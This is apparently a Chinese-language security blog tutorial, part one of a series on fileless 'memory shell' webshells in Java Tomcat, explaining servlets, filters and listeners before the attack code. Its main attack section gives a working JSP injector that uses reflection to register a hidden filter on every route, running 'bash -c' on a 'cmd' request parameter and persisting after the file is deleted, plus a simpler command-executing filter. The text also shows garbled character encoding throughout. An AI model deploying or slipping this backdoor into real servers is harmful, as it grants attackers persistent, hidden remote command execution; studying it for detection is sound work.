深入淺出內(nèi)存馬(一)

深入淺出內(nèi)存馬(一)

0x01 簡(jiǎn)述

0x0101 Webshell技術(shù)歷程

在Web安全領(lǐng)域,Webshell一直是一個(gè)非常重要且熱門的話題。在目前傳統(tǒng)安全領(lǐng)域,Webshell根據(jù)功能的不同分為三種類型,分別是:一句話木馬,小馬,大馬。而根據(jù)現(xiàn)在防火墻技術(shù)的更新迭代,隨后出現(xiàn)了加密的木馬技術(shù),比如:加密一句話。而我們今天要說(shuō)的是一種新的無(wú)文件的Webshell類型:內(nèi)存馬。

0x0102 為什么會(huì)使用內(nèi)存馬?

傳統(tǒng)Webshell連接方式,都是先通過(guò)某種漏洞將惡意的腳本木馬文件上傳,然后通過(guò)中國(guó)菜刀,或者蟻劍,冰蝎等Webshell管理軟件進(jìn)行鏈接。

image

這種方式目前仍然流行,但是由于近幾年防火墻,IDS,IPS,流量分析等各種安全設(shè)備的普及和更新,這種連接方式非常容易被設(shè)備捕獲攔截,而且由于文件是明文存放在服務(wù)器端,所以又很容易被殺毒軟件所查殺。在今天看來(lái)這種傳統(tǒng)連接方式顯然已經(jīng)過(guò)時(shí),于是乎,進(jìn)化了一系列的加密一句話木馬,但是這種方式還是不能繞過(guò)有類似文件監(jiān)控的殺毒軟件,于是乎進(jìn)化了新一代的Webshell---》內(nèi)存馬

0x03 什么是內(nèi)存馬

內(nèi)存馬是無(wú)文件Webshell,什么是無(wú)文件webshell呢?簡(jiǎn)單來(lái)說(shuō),就是服務(wù)器上不會(huì)存在需要鏈接的webshell腳本文件。那有的同學(xué)可能會(huì)問(wèn)了?這種方式為什么能鏈接呢??jī)?nèi)存馬的原理就像是MVC架構(gòu),即通過(guò)路由訪問(wèn)控制器,我通過(guò)自身的理解,概述的說(shuō)一下, 內(nèi)存馬的原理就是在web組件或者應(yīng)用程序中,注冊(cè)一層訪問(wèn)路由,訪問(wèn)者通過(guò)這層路由,來(lái)執(zhí)行我們控制器中的代碼

0x03 內(nèi)存馬的類型

目前分為兩種:

  1. Servlet-API型
    通過(guò)命令執(zhí)行等方式動(dòng)態(tài)注冊(cè)一個(gè)新的listener、filter或者servlet,從而實(shí)現(xiàn)命令執(zhí)行等功能。特定框架、容器的內(nèi)存馬原理與此類似,如spring的controller內(nèi)存馬,tomcat的valve內(nèi)存馬

    • filter型
    • servlet型
  2. 字節(jié)碼增強(qiáng)型

    通過(guò)java的instrumentation動(dòng)態(tài)修改已有代碼,進(jìn)而實(shí)現(xiàn)命令執(zhí)行等功能。

  3. spring類

    • 攔截器
    • Controller型

0x02 內(nèi)存馬的原理

我們以Java Web舉例,在Java Web中有三大組件分別是Servlet, Filter,Listener

Servlet

Servlet 是運(yùn)行在 Web 服務(wù)器或應(yīng)用服務(wù)器上的程序,它是作為來(lái)自 HTTP 客戶端的請(qǐng)求和 HTTP 服務(wù)器上的數(shù)據(jù)庫(kù)或應(yīng)用程序之間的中間層。它負(fù)責(zé)處理用戶的請(qǐng)求,并根據(jù)請(qǐng)求生成相應(yīng)的返回信息提供給用戶。

Servlet程序是由WEB服務(wù)器調(diào)用,web服務(wù)器收到客戶端的Servlet訪問(wèn)請(qǐng)求后:

  1. Web服務(wù)器首先檢查是否已經(jīng)裝載并創(chuàng)建了該Servlet的實(shí)例對(duì)象。如果是,則直接執(zhí)行第4步,否則,執(zhí)行第2步。
  2. 裝載并創(chuàng)建該Servlet的一個(gè)實(shí)例對(duì)象。
  3. 調(diào)用Servlet實(shí)例對(duì)象的init()方法。
  4. 創(chuàng)建一個(gè)用于封裝HTTP請(qǐng)求消息的HttpServletRequest對(duì)象和一個(gè)代表HTTP響應(yīng)消息的HttpServletResponse對(duì)象,然后調(diào)用Servlet的service()方法并將請(qǐng)求和響應(yīng)對(duì)象作為參數(shù)傳遞進(jìn)去。
  5. WEB應(yīng)用程序被停止或重新啟動(dòng)之前,Servlet引擎將卸載Servlet,并在卸載之前調(diào)用Servlet的destroy()方法。

Filter

Filter譯為過(guò)濾器。過(guò)濾器實(shí)際上就是對(duì)web資源進(jìn)行攔截,做一些處理后再交給下一個(gè)過(guò)濾器或servlet處理,通常都是用來(lái)攔截request進(jìn)行處理的,也可以對(duì)返回的response進(jìn)行攔截處理。

image

web服務(wù)器根據(jù)Filter在web.xml文件中的注冊(cè)順序,決定先調(diào)用哪個(gè)Filter,當(dāng)?shù)谝粋€(gè)Filter的doFilter方法被調(diào)用時(shí),web服務(wù)器會(huì)創(chuàng)建一個(gè)代表Filter鏈的FilterChain對(duì)象傳遞給該方法。在doFilter方法中,開(kāi)發(fā)人員如果調(diào)用了FilterChain對(duì)象的doFilter方法,則web服務(wù)器會(huì)檢查FilterChain對(duì)象中是否還有filter,如果有,則調(diào)用第2個(gè)filter,如果沒(méi)有,則調(diào)用目標(biāo)資源。

生命周期

public void init(FilterConfig filterConfig) throws ServletException;//初始化
和我們編寫的Servlet程序一樣,F(xiàn)ilter的創(chuàng)建和銷毀由WEB服務(wù)器負(fù)責(zé)。 web 應(yīng)用程序啟動(dòng)時(shí),web 服務(wù)器將創(chuàng)建Filter 的實(shí)例對(duì)象,并調(diào)用其init方法,讀取web.xml配置,完成對(duì)象的初始化功能,從而為后續(xù)的用戶請(qǐng)求作好攔截的準(zhǔn)備工作(filter對(duì)象只會(huì)創(chuàng)建一次,init方法也只會(huì)執(zhí)行一次)。開(kāi)發(fā)人員通過(guò)init方法的參數(shù),可獲得代表當(dāng)前filter配置信息的FilterConfig對(duì)象。

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException;//攔截請(qǐng)求
這個(gè)方法完成實(shí)際的過(guò)濾操作。當(dāng)客戶請(qǐng)求訪問(wèn)與過(guò)濾器關(guān)聯(lián)的URL的時(shí)候,Servlet過(guò)濾器將先執(zhí)行doFilter方法。FilterChain參數(shù)用于訪問(wèn)后續(xù)過(guò)濾器。

public void destroy();//銷毀
Filter對(duì)象創(chuàng)建后會(huì)駐留在內(nèi)存,當(dāng)web應(yīng)用移除或服務(wù)器停止時(shí)才銷毀。在Web容器卸載 Filter 對(duì)象之前被調(diào)用。該方法在Filter的生命周期中僅執(zhí)行一次。在這個(gè)方法中,可以釋放過(guò)濾器使用的資源。

Listener

監(jiān)聽(tīng)器用于監(jiān)聽(tīng)Web應(yīng)用中某些對(duì)象的創(chuàng)建、銷毀、增加,修改,刪除等動(dòng)作的發(fā)生,然后作出相應(yīng)的響應(yīng)處理。當(dāng)監(jiān)聽(tīng)范圍的對(duì)象的狀態(tài)發(fā)生變化的時(shí)候,服務(wù)器自動(dòng)調(diào)用監(jiān)聽(tīng)器對(duì)象中的方法。常用于統(tǒng)計(jì)網(wǎng)站在線人數(shù)、系統(tǒng)加載時(shí)進(jìn)行信息初始化、統(tǒng)計(jì)網(wǎng)站的訪問(wèn)量等等。

主要由三部分構(gòu)成:

  • 事件源:被監(jiān)聽(tīng)的對(duì)象
  • 監(jiān)聽(tīng)器:監(jiān)聽(tīng)的對(duì)象,事件源的變化會(huì)觸發(fā)監(jiān)聽(tīng)器的響應(yīng)行為
  • 響應(yīng)行為:監(jiān)聽(tīng)器監(jiān)聽(tīng)到事件源的狀態(tài)變化時(shí)所執(zhí)行的動(dòng)作

在初始化時(shí),需要將事件源和監(jiān)聽(tīng)器進(jìn)行綁定,也就是注冊(cè)監(jiān)聽(tīng)器。

可以使用監(jiān)聽(tīng)器監(jiān)聽(tīng)客戶端的請(qǐng)求、服務(wù)端的操作等。通過(guò)監(jiān)聽(tīng)器,可以自動(dòng)出發(fā)一些動(dòng)作,比如監(jiān)聽(tīng)在線的用戶數(shù)量,統(tǒng)計(jì)網(wǎng)站訪問(wèn)量、網(wǎng)站訪問(wèn)監(jiān)控等。

Tomcat

在 Tomcat 中,每個(gè) Host 下可以有多個(gè) Context (Context 是 Host 的子容器), 每個(gè) Context 都代表一個(gè)具體的Web應(yīng)用,都有一個(gè)唯一的路徑就相當(dāng)于下圖中的 /shop /manager 這種,在一個(gè) Context 下可以有著多個(gè) Wrapper

Wrapper 主要負(fù)責(zé)管理 Servlet ,包括的 Servlet 的裝載、初始化、執(zhí)行以及資源回收

image

0x03 Tomcat Filter注入流程

通過(guò)上面的介紹,我們已經(jīng)大致了解內(nèi)存馬的背景知識(shí),現(xiàn)在我們來(lái)講解Tomcat Filter類型的內(nèi)存馬,看看這種流程是什么樣子的?

0x0301Tomcat Filter簡(jiǎn)單案例

新建filter

package com.evalshell.Filter;

import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 創(chuàng)建");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("執(zhí)行過(guò)濾過(guò)程");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("銷毀!");
    }
}

Web.xml配置

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <servlet>
        <servlet-name>HelloServlet</servlet-name>
        <servlet-class>com.evalshell.Servlet.HelloServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>HelloServlet</servlet-name>
        <url-pattern>/hello</url-pattern>
    </servlet-mapping>

    <filter>
        <filter-name>MyFilter</filter-name>
        <filter-class>com.evalshell.Filter.MyFilter</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>MyFilter</filter-name>
        <url-pattern>/hello</url-pattern>
    </filter-mapping>

</web-app>

就是我們創(chuàng)建一個(gè)servlet和一個(gè)filter 訪問(wèn)路由都是為/hello 。看下結(jié)果:

image

控制臺(tái)輸出

image

我們簡(jiǎn)單調(diào)試一下

image

對(duì)應(yīng)Web.xml中的配置信息,這種方式就是為靜態(tài)的添加filter的方式,filter實(shí)現(xiàn)分為靜態(tài)和動(dòng)態(tài),靜態(tài)就是上述中,普通配置在web.xml或者通過(guò)@注釋配置在類中的。

關(guān)于整個(gè)Filter的調(diào)用鏈 可以參考:https://mp.weixin.qq.com/s/YhiOHWnqXVqvLNH7XSxC9w, 這個(gè)不是我們主要講述的重點(diǎn)。

Filter調(diào)用鏈,可以引用寬字節(jié)安全總結(jié)的一張圖來(lái)說(shuō)明:

image

0x04 Filter型內(nèi)存馬注入

0x0401 動(dòng)態(tài)創(chuàng)建Filter

我們調(diào)試一下filterChain.doFilter() 方法,啟動(dòng)服務(wù),然后訪問(wèn)/hello即可調(diào)試:

image

繼續(xù)跟進(jìn),可以看到doFilter() 的具體處理過(guò)程是在internalDoFilter()

image
image

然后最后調(diào)用service()方法去調(diào)用這個(gè)filter里面的內(nèi)容

image
image

概述地說(shuō), FilterChain.doFilter() 方法將調(diào)用下一個(gè) Filter.doFilter() 方法;最后一個(gè) Filter.doFilter() 方法中調(diào)用的FilterChain.doFilter() 方法將調(diào)用目標(biāo) Servlet.service() 方法。

0x0402 一個(gè)簡(jiǎn)單Filter內(nèi)存馬案例

上面的描述總結(jié)下來(lái)就是如何在tomcat中動(dòng)態(tài)的注入一條配置項(xiàng)和代碼,拿filter類型舉例子,那么我們?nèi)绾蝿?chuàng)建一個(gè)Filter類型的內(nèi)存馬呢?

  1. 首先創(chuàng)建一個(gè)惡意Filter
  2. 利用 FilterDef 對(duì) Filter 進(jìn)行一個(gè)封裝
  3. 將 FilterDef 添加到 FilterDefs 和 FilterConfig
  4. 創(chuàng)建 FilterMap ,將我們的 Filter 和 urlpattern 相對(duì)應(yīng),存放到 filterMaps中(由于 Filter 生效會(huì)有一個(gè)先后順序,所以我們一般都是放在最前面,讓我們的 Filter 最先觸發(fā))
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
        // ApplicationContext 為 ServletContext 的實(shí)現(xiàn)類
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
        // 這樣我們就獲取到了 context 
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

每次請(qǐng)求createFilterChain都會(huì)依據(jù)此動(dòng)態(tài)生成一個(gè)過(guò)濾鏈,而StandardContext又會(huì)一直保留到Tomcat生命周期結(jié)束,所以我們的內(nèi)存馬就可以一直駐留下去,直到Tomcat重啟。

好的 那我們首先來(lái)編寫一個(gè)filter的惡意類

package com.evalshell.Filter;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class MyFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 創(chuàng)建");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("執(zhí)行過(guò)濾過(guò)程");
        //測(cè)試只考慮linux環(huán)境下
        HttpServletRequest request = (HttpServletRequest) servletRequest;
        if (request.getParameter("c") != null){
            String[]  command = new String[]{"sh", "-c", request.getParameter("c")};
            InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
            Scanner scanner = new Scanner(inputStream).useDelimiter("\\a");
            String output = scanner.hasNext() ? scanner.next() : "";
            servletResponse.getWriter().write(output);
            servletResponse.getWriter().flush();
            return;
        }

        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("銷毀!");
    }
}

運(yùn)行效果:

image

可以看到這個(gè)就是在tomcat中沒(méi)有任何shell文件,但是在過(guò)濾器中執(zhí)行了我們的代碼。

0x0402 最終實(shí)戰(zhàn)

那么真實(shí)情況下,我們不可能直接修改項(xiàng)目中Filter的源碼,因?yàn)榫退阈薷牧耍胍б残枰貑?。所以我們需要?jiǎng)討B(tài)的插入filter,那我們?cè)撊绾尾僮髂兀?/p>

最終代碼如下:

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    final String name = "fengxuan";
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                //這里寫上我們后門的主要代碼
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                //別忘記帶這個(gè),不然的話其他的過(guò)濾器可能無(wú)法使用
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }

        };


        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        
        // 將filterDef添加到filterDefs中
        standardContext.addFilterDef(filterDef);

        FilterMap filterMap = new FilterMap();
      //攔截的路由規(guī)則,/* 表示攔截任意路由
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);

        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

        filterConfigs.put(name,filterConfig);
        out.print("注入成功");
    }
%>

訪問(wèn)這個(gè)頁(yè)面

image

最后直接訪問(wèn)任意Servlet路由都可以執(zhí)行命令

image

即使刪除我們的注入文件filterdemo1.jsp也是一樣可以執(zhí)行,這樣就可以達(dá)到無(wú)文件的Webshell管理方式了。

0x05 參考鏈接

http://wjlshare.com/archives/1529#0x01_Tomcat
https://www.freebuf.com/articles/web/274466.html

更多優(yōu)質(zhì)文章請(qǐng)到風(fēng)炫安全知識(shí)庫(kù):https://evalshell.com/

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容